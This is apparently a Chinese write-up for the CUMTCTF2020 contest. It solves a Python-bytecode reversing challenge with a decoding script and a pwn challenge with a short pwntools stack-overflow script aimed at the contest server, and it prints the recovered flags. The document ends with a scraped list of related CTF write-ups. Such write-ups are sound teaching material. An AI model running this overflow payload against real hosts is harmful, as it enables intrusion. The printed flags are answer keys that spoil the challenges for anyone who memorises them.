CUMTCTF2020岁末赛wp
RE: 签到
拖入IDA
数字转为字符
获得flag
RE:ez_code
打开后发现为python字节码
网上查阅资料,一一对照将其翻译为python源码
print("please input your flag:")
flag = input()
if len(flag) != 36:exit()
a = []
t = 0for i in flag:if t & 1 == 1:a.append(ord(i) + 128)else:a.append(ord(i))t = t+1b = a[0] >> 5
for i in range(len(a)):if i == len(a) - 1:a[i] = ((a[i]*8) & 255) | belse:a[i] = ((a[i]*8) & 255) | (a[i+1] >> 5)
num = []
for i in range(2, 129):t = Falsefor j in range(2, i):if i % j == 0:t = Truebreakif t:continue
num.append(i)
c = len(a)*[0]
for i in range(len(a)):x1 = (a[i] >> 4) ^ (num[i % 31] & 15)x2 = (a[i] & 15) ^ (num[i % 31] >> 4)c[i] = x2*16 + x1
d = [227, 169, 227, 45, 234, 39, 98, 190, 197, 7, 229,137, 197, 132, 119, 142, 97, 167, 59, 96, 166, 94,136, 227, 131, 202, 136, 250, 21, 99, 20, 173, 121, 41, 125, 165]
e = 1
for i in range(len(d)):if d[i] != c[i]:e = 0break
if e == 1:print('YOU ARE RIGHT')
else:print('WRONG')
很明显输入flag,然后对它进行一系列操作,得到最终结果,就是d。
写脚本反推flag:
d = [227, 169, 227, 45, 234, 39, 98, 190, 197, 7, 229,137, 197, 132, 119, 142, 97, 167, 59, 96, 166, 94,136, 227, 131, 202, 136, 250, 21, 99, 20, 173, 121, 41, 125, 165]
num = []
for i in range(2, 129): #求出numt = Falsefor j in range(2, i):if i % j == 0:t = Truebreakif t:continuenum.append(i)change_a = []
for i in range(36): #求出改变后的a数组for j in range(300):x1 = (j >> 4) ^ (num[i % 31] & 15)x2 = (j & 15) ^ (num[i % 31] >> 4)c = x2 * 16 + x1if c == d[i]:change_a.append(j)breakq5 = [] #反推出原本的a数组
h3 = []
a = []
for i in range(36):q5.append(change_a[i] >> 3)h3.append(change_a[i] % 8)
for i in range(36):if i == 0:a.append(q5[i] + (h3[35] << 5))else:a.append(q5[i] + (h3[i - 1] << 5))for i in range(36):if i % 2 == 1:a[i] = a[i] - 128
flag = ''
for i in range(36):flag += chr(a[i])
print(flag)
得到flag:
CUMTCTF{E45yY_P7t50n_B75e__C0d6_TxT}
PWN:pwn1
用checksec检查一下
大部分保护都没开
拖入IDA
可见,只要让result = 123就行了
result 会接受函数bzd1的返回值,就是v4。有read函数,是一个栈溢出题
var_14就是v4
编写脚本
from pwn import *
p = remote('219.219.61.234',10000)
payload = b'\0aaaaaa' + p32(123)
p.sendline(payload)
p.interactive()
得到flag:
flag{6e7cd721-c4f2-4879-a0c5-8dcff72092a1}
CUMTCTF2020岁末赛wp相关推荐
- LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分
LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分 前言: Web: 我Flag呢? 导弹迷踪: Follow me and hack me: PHP是世界上最好的语言!! 作业管理系统: ...
- 长安“战疫”网络安全赛-wp
长安"战疫"网络安全赛-wp Web tp shiro? Baby_Upload flag配送中心 flask RCE_No_Para Crypto no_can_no_bb ma ...
- 中国矿业大学2020岁末赛校赛wp
Misc没别的意思给你签个到顺便给你看看我老婆 Lsb隐写 由题目的lsp想到lsb隐写,使用 打开,三个低位为0, 然后去掉之间的空格,就对了. 大鸟转转转转转转转转转 同样是使用相同的软件, 一帧 ...
- 2020第六届“美亚杯”团队赛WP
目录 一.前言 二.Zello部分 三.Bob部分 路由器部分(29-34) Laptop部分(35-41) Desktop部分(42-25) Phone部分(46-55) S2部分(56-69) I ...
- 盘古石杯全国电子数据取证大赛晋级赛wp(未完)
案情简介 2023年4月,公安机关接到受害人张娟报案称自己在"USDTRE"虚拟币投资理财平台被骗.据公安机关了解,受害人张娟在抖音平台推送的"物联智慧购"兼职 ...
- 面向萌新的红帽杯2018线上赛wp
网络安全攻防大赛第二届"红帽杯"网络安全攻防大赛(除了web3 guess id,不会做.没写.) misc2 Not Only Wireshark 下载流量包,wireshark ...
- 第三届“中科实数杯”团队赛wp
前几天刚打完第三届"中科实数杯"的团队赛,特此在这里写一下解题的过程 考试说明: 考试介绍 :
- CDUT新生赛wp misc (杂项
杂项 真的很杂 签到 不多说 直接关注信科青听 回复flag得到答案 所以这里不写答案了`~ 说好的二维码呢? 压缩包加密了,但没完全加密.说好的二维码呢? 下载之后得到压缩包 解压再解压 发现有密码 ...
- CDUT新生赛wp re方向(逆向分析
给萌新们介绍介绍 虽然我也是大一萌新啊- https://down.52pojie.cn/Tools/ 各种工具的链接 re基础 必备工具: ida 逆向必备 不多说 jadx 安卓反编译 直接看逻辑 ...
最新文章
- JVM 性能调优之定位问题 实战篇
- LeetCode Multiply Strings(大整数相乘)
- AWT架构生成与设计Token
- asp.net 读取excel文件
- python怎么改背景_python IDE背景怎么改
- Tips--图像特征提取方法HOG、SIFT、LBP优缺点对比
- webpack 基本功能和原理
- scrollView滚动原理
- Java——学生管理系统
- Windows NT各版本对应关系
- 砺鹰教育之四川财经职业学院讲座——我为什么选择创业?
- mysql查询每个分组的最新数据
- 日语バズる中文怎么翻译?
- 织梦dedecms 本地模板安装步骤
- 创业公司如何实施敏捷开发
- 【C++】 strcat()函数
- PointNet: Deep Learning on Point Sets for 3D Classification and Segmentation
- 各路牛人【找工总结】
- Greenplum学习笔记——第二部分:集群部署
- Nokia星球开发者大会